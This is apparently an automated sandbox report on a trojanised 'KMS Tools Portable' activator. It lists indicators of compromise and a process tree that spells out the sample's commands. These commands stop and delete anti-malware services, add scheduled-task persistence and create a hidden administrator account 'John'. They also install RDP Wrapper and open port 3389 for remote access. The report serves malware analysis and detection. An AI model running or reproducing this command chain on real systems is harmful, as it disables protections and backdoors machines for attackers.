behavioral7/memory/1472-102-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1472-103-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1472-104-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1472-105-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1472-106-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1472-109-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1808-112-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1808-115-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1472-114-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1808-116-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1808-118-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1808-119-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1472-122-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1472-124-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1808-125-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1472-139-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
behavioral7/memory/1808-141-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/1808-169-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/2244-172-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2244-173-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2244-175-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2244-176-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2244-178-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2244-180-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2020-190-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/1808-194-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	autoit_exe
behavioral7/memory/2244-196-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2020-200-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2244-201-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/files/0x0006000000014b63-210.dat	autoit_exe
behavioral7/files/0x0006000000014b63-213.dat	autoit_exe
behavioral7/files/0x0006000000014b63-214.dat	autoit_exe
behavioral7/files/0x0006000000014b63-209.dat	autoit_exe
behavioral7/memory/2020-228-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2244-233-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2020-238-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2244-239-0x000000013F0E0000-0x0000000142463000-memory.dmp	autoit_exe
behavioral7/memory/2020-242-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-247-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/1728-321-0x000000013F510000-0x00000001421CF000-memory.dmp	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 20 IoCs

pid	Process
2020	KMS Tools Unpack.exe
1472	GameGuard.exe
1808	update.exe
2216	net1.exe
2244	taskhostw.exe
2448	taskhost.exe
1728	taskhost.exe
1824	taskhostw.exe
3016	taskhostw.exe
2460	taskhostw.exe
1624	taskhostw.exe
2548	taskhostw.exe
976	taskhostw.exe
1400	taskhostw.exe
1440	taskhostw.exe
2448	taskhostw.exe
2560	taskhostw.exe
3004	taskhostw.exe
1752	taskhostw.exe
560	taskhostw.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\RDP Wrapper	smss.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWinst.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWinst.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
904	sc.exe
844	sc.exe
2024	sc.exe
588	sc.exe
1984	sc.exe
1652	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task

pid	Process
2724	schtasks.exe
1196	schtasks.exe
1496	schtasks.exe
1072	schtasks.exe
1604	schtasks.exe
2700	schtasks.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
1880	timeout.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\Setup\winmgmts:\	smss.exe

Runs net.exe

Runs ping.exe 1 TTPs 37 IoCs

Remote System Discovery

T1018

pid	Process
1268	PING.EXE
2536	PING.EXE
2564	PING.EXE
1604	PING.EXE
2624	PING.EXE
2196	PING.EXE
1664	PING.EXE
2392	PING.EXE
2748	PING.EXE
2152	PING.EXE
2752	PING.EXE
2864	PING.EXE
2876	PING.EXE
1268	PING.EXE
940	PING.EXE
464	PING.EXE
1768	PING.EXE
2976	PING.EXE
2664	PING.EXE
3036	PING.EXE
2784	PING.EXE
844	PING.EXE
2840	PING.EXE
520	PING.EXE
552	PING.EXE
988	PING.EXE
2256	PING.EXE
2760	PING.EXE
1652	PING.EXE
1672	PING.EXE
1212	PING.EXE
2920	PING.EXE
2148	PING.EXE
2428	PING.EXE
2260	PING.EXE
912	PING.EXE
2404	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1472	GameGuard.exe
1472	GameGuard.exe
1472	GameGuard.exe
1472	GameGuard.exe
1472	GameGuard.exe
1808	update.exe
1808	update.exe
1808	update.exe
1808	update.exe
1472	GameGuard.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2020	KMS Tools Unpack.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2844	winserv.exe
2844	winserv.exe
2244	taskhostw.exe
2844	winserv.exe
2844	winserv.exe
2020	KMS Tools Unpack.exe
2844	winserv.exe
2244	taskhostw.exe
2244	taskhostw.exe
2952	winserv.exe
2952	winserv.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe
2244	taskhostw.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2244	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2844	winserv.exe
Token: SeTakeOwnershipPrivilege	2952	winserv.exe
Token: SeTcbPrivilege	2952	winserv.exe
Token: SeTcbPrivilege	2952	winserv.exe
Token: SeDebugPrivilege	2284	RDPWinst.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
2844	winserv.exe
2844	winserv.exe
2844	winserv.exe
2844	winserv.exe
2952	winserv.exe
2952	winserv.exe
2952	winserv.exe
2952	winserv.exe
2080	winserv.exe
2080	winserv.exe
2080	winserv.exe
2080	winserv.exe
2916	winserv.exe
2916	winserv.exe
2916	winserv.exe
2916	winserv.exe
2656	winserv.exe
2656	winserv.exe
2656	winserv.exe
2656	winserv.exe
2876	winserv.exe
2876	winserv.exe
2876	winserv.exe
2876	winserv.exe
2160	winserv.exe
2160	winserv.exe
2160	winserv.exe
2160	winserv.exe
520	winserv.exe
520	winserv.exe
520	winserv.exe
520	winserv.exe
696	winserv.exe
696	winserv.exe
696	winserv.exe
696	winserv.exe
1932	winserv.exe
1932	winserv.exe
1932	winserv.exe
1932	winserv.exe
1204	winserv.exe
1204	winserv.exe
1204	winserv.exe
1204	winserv.exe
1904	winserv.exe
1904	winserv.exe
1904	winserv.exe
1904	winserv.exe
608	winserv.exe
608	winserv.exe
608	winserv.exe
608	winserv.exe
2428	winserv.exe
2428	winserv.exe
2428	winserv.exe
2428	winserv.exe
320	winserv.exe
320	winserv.exe
320	winserv.exe
320	winserv.exe
2468	winserv.exe
2468	winserv.exe
2468	winserv.exe
2468	winserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 2032	2020	KMS Tools Unpack.exe	28
PID 2020 wrote to memory of 584	2020	KMS Tools Unpack.exe	29
PID 2020 wrote to memory of 584	2020	KMS Tools Unpack.exe	29
PID 2020 wrote to memory of 584	2020	KMS Tools Unpack.exe	29
PID 2020 wrote to memory of 584	2020	KMS Tools Unpack.exe	29
PID 584 wrote to memory of 1700	584	KMS.exe	30
PID 584 wrote to memory of 1700	584	KMS.exe	30
PID 584 wrote to memory of 1700	584	KMS.exe	30
PID 584 wrote to memory of 1700	584	KMS.exe	30
PID 1700 wrote to memory of 984	1700	cmd.exe	32
PID 1700 wrote to memory of 984	1700	cmd.exe	32
PID 1700 wrote to memory of 984	1700	cmd.exe	32
PID 1700 wrote to memory of 984	1700	cmd.exe	32
PID 1700 wrote to memory of 1268	1700	cmd.exe	33
PID 1700 wrote to memory of 1268	1700	cmd.exe	33
PID 1700 wrote to memory of 1268	1700	cmd.exe	33
PID 1700 wrote to memory of 1268	1700	cmd.exe	33
PID 2032 wrote to memory of 1472	2032	install.exe	34
PID 2032 wrote to memory of 1472	2032	install.exe	34
PID 2032 wrote to memory of 1472	2032	install.exe	34
PID 2032 wrote to memory of 1472	2032	install.exe	34
PID 1700 wrote to memory of 1664	1700	cmd.exe	128
PID 1700 wrote to memory of 1664	1700	cmd.exe	128
PID 1700 wrote to memory of 1664	1700	cmd.exe	128
PID 1700 wrote to memory of 1664	1700	cmd.exe	128
PID 2032 wrote to memory of 1808	2032	install.exe	35
PID 2032 wrote to memory of 1808	2032	install.exe	35
PID 2032 wrote to memory of 1808	2032	install.exe	35
PID 2032 wrote to memory of 1808	2032	install.exe	35
PID 1700 wrote to memory of 552	1700	cmd.exe	37
PID 1700 wrote to memory of 552	1700	cmd.exe	37
PID 1700 wrote to memory of 552	1700	cmd.exe	37
PID 1700 wrote to memory of 552	1700	cmd.exe	37
PID 1700 wrote to memory of 988	1700	cmd.exe	38
PID 1700 wrote to memory of 988	1700	cmd.exe	38
PID 1700 wrote to memory of 988	1700	cmd.exe	38
PID 1700 wrote to memory of 988	1700	cmd.exe	38
PID 1700 wrote to memory of 940	1700	cmd.exe	39
PID 1700 wrote to memory of 940	1700	cmd.exe	39
PID 1700 wrote to memory of 940	1700	cmd.exe	39
PID 1700 wrote to memory of 940	1700	cmd.exe	39
PID 1472 wrote to memory of 1292	1472	GameGuard.exe	40
PID 1472 wrote to memory of 1292	1472	GameGuard.exe	40
PID 1472 wrote to memory of 1292	1472	GameGuard.exe	40
PID 1472 wrote to memory of 916	1472	GameGuard.exe	124
PID 1472 wrote to memory of 916	1472	GameGuard.exe	124
PID 1472 wrote to memory of 916	1472	GameGuard.exe	124
PID 1472 wrote to memory of 1732	1472	GameGuard.exe	44
PID 1472 wrote to memory of 1732	1472	GameGuard.exe	44
PID 1472 wrote to memory of 1732	1472	GameGuard.exe	44
PID 1472 wrote to memory of 1964	1472	GameGuard.exe	46
PID 1472 wrote to memory of 1964	1472	GameGuard.exe	46
PID 1472 wrote to memory of 1964	1472	GameGuard.exe	46
PID 1472 wrote to memory of 1600	1472	GameGuard.exe	49
PID 1472 wrote to memory of 1600	1472	GameGuard.exe	49
PID 1472 wrote to memory of 1600	1472	GameGuard.exe	49
PID 1472 wrote to memory of 1724	1472	GameGuard.exe	52
PID 1472 wrote to memory of 1724	1472	GameGuard.exe	52

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\KMS Tools Portable\KMS Tools Unpack.exe
"C:\Users\Admin\AppData\Local\Temp\KMS Tools Portable\KMS Tools Unpack.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2020
- C:\ProgramData\Setup\install.exe
  C:\ProgramData\Setup\install.exe -palexpassword
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\ProgramData\Setup\GameGuard.exe
    "C:\ProgramData\Setup\GameGuard.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Modifies Windows Defender notification settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Blocks application from running via registry modification
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Modifies WinLogon
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete swprv
      4⤵
      PID:1292
    - - C:\Windows\system32\sc.exe
        
        sc delete swprv
        5⤵
        Launches sc.exe
        
        PID:588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop mbamservice
      4⤵
      PID:916
    - - C:\Windows\system32\sc.exe
        
        sc stop mbamservice
        5⤵
        Launches sc.exe
        
        PID:1652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
      4⤵
      PID:1732
    - - C:\Windows\system32\sc.exe
        
        sc stop bytefenceservice
        5⤵
        Launches sc.exe
        
        PID:844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
      4⤵
      PID:1964
    - - C:\Windows\system32\sc.exe
        
        sc delete bytefenceservice
        5⤵
        Launches sc.exe
        
        PID:2024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete mbamservice
      4⤵
      PID:1600
    - - C:\Windows\system32\sc.exe
        
        sc delete mbamservice
        5⤵
        Launches sc.exe
        
        PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
      4⤵
      PID:1228
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state on
        5⤵
        Modifies Windows Firewall
        
        PID:624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete crmsvc
      4⤵
      PID:1724
    - - C:\Windows\system32\sc.exe
        
        sc delete crmsvc
        5⤵
        Launches sc.exe
        
        PID:904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
      4⤵
      PID:1328
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:1740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
      4⤵
      PID:1264
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:1664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
      4⤵
      PID:776
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:1612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
      4⤵
      PID:268
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:1616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
      4⤵
      PID:668
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:1764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
      4⤵
      PID:1916
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:1088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      4⤵
      PID:1736
    - - C:\Windows\system32\gpupdate.exe
        
        gpupdate /force
        5⤵
        
        PID:772
  - - C:\Windows\system32\cmd.exe
      cmd /c C:\Programdata\Install\Delete.bat
      4⤵
      PID:1812
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:1880
- - C:\ProgramData\Setup\update.exe
    "C:\ProgramData\Setup\update.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:1808
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\RealtekCheck" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1196
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\WinlogonCheck" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1496
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\OnlogonCheck" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1072
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\TaskCheck" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1604
  - - C:\ProgramData\Setup\Game.exe
      C:\ProgramData\Setup\Game.exe -ppidar
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2120
    - - C:\ProgramData\RealtekHD\taskhost.exe
        
        "C:\ProgramData\RealtekHD\taskhost.exe"
        5⤵
        
        PID:2216
    - - C:\ProgramData\RealtekHD\taskhostw.exe
        
        "C:\ProgramData\RealtekHD\taskhostw.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Drops file in Drivers directory
        Checks BIOS information in registry
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:2244
  - - C:\ProgramData\Setup\svchost.exe
      C:\ProgramData\Setup\svchost.exe -ppidar
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2464
    - - C:\ProgramData\Setup\IP.exe
        
        "C:\ProgramData\Setup\IP.exe"
        5⤵
        Executes dropped EXE
        
        PID:2620
    - - C:\ProgramData\Setup\smss.exe
        
        "C:\ProgramData\Setup\smss.exe"
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Checks processor information in registry
        NTFS ADS
        
        PID:2648
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:2700
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:2724
      - C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2844
        
        C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2952
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net user John 12345 /add
        6⤵
        
        PID:1912
        
        C:\Windows\system32\net.exe
        
        net user John 12345 /add
        7⤵
        
        PID:1704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user John 12345 /add
        8⤵
        
        PID:1304
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        6⤵
        
        PID:1456
        
        C:\Windows\system32\net.exe
        
        net localgroup "Администраторы" John /add
        7⤵
        
        PID:568
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Администраторы" John /add
        8⤵
        
        PID:2124
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
        6⤵
        
        PID:2096
        
        C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного рабочего стола" John /add
        7⤵
        
        PID:1664
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
        8⤵
        
        PID:1768
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
        6⤵
        
        PID:1080
        
        C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного управления" john /add" John /add
        7⤵
        
        PID:1916
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
        8⤵
        
        PID:2312
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
        6⤵
        
        PID:944
        
        C:\Windows\system32\net.exe
        
        net localgroup "Administrators" John /add
        7⤵
        
        PID:1740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administrators" John /add
        8⤵
        
        PID:1524
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
        6⤵
        
        PID:2040
        
        C:\Windows\system32\net.exe
        
        net localgroup "Administradores" John /add
        7⤵
        
        PID:2176
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administradores" John /add
        8⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2216
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
        6⤵
        
        PID:1576
        
        C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" john /add
        7⤵
        
        PID:2184
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
        8⤵
        
        PID:2400
      - C:\ProgramData\RDPWinst.exe
        
        C:\ProgramData\RDPWinst.exe -i
        6⤵
        Sets DLL path for service in the registry
        Executes dropped EXE
        Modifies WinLogon
        Drops file in Program Files directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:2284
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
        7⤵
        Modifies Windows Firewall
        
        PID:2180
- C:\Users\Admin\AppData\Local\Temp\KMS Tools Portable\KMS.exe
  "C:\Users\Admin\AppData\Local\Temp\KMS Tools Portable\KMS.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\SelfDelete.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      PID:984
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1268
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1664
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:552
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:988
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:940
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2152
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2256
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2392
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2536
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2752
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2976
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1212
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:464
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2260
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:912
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2564
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:1604
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2664
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2748
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
      PID:2760
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 1 localhost
      4⤵
      Runs ping.exe
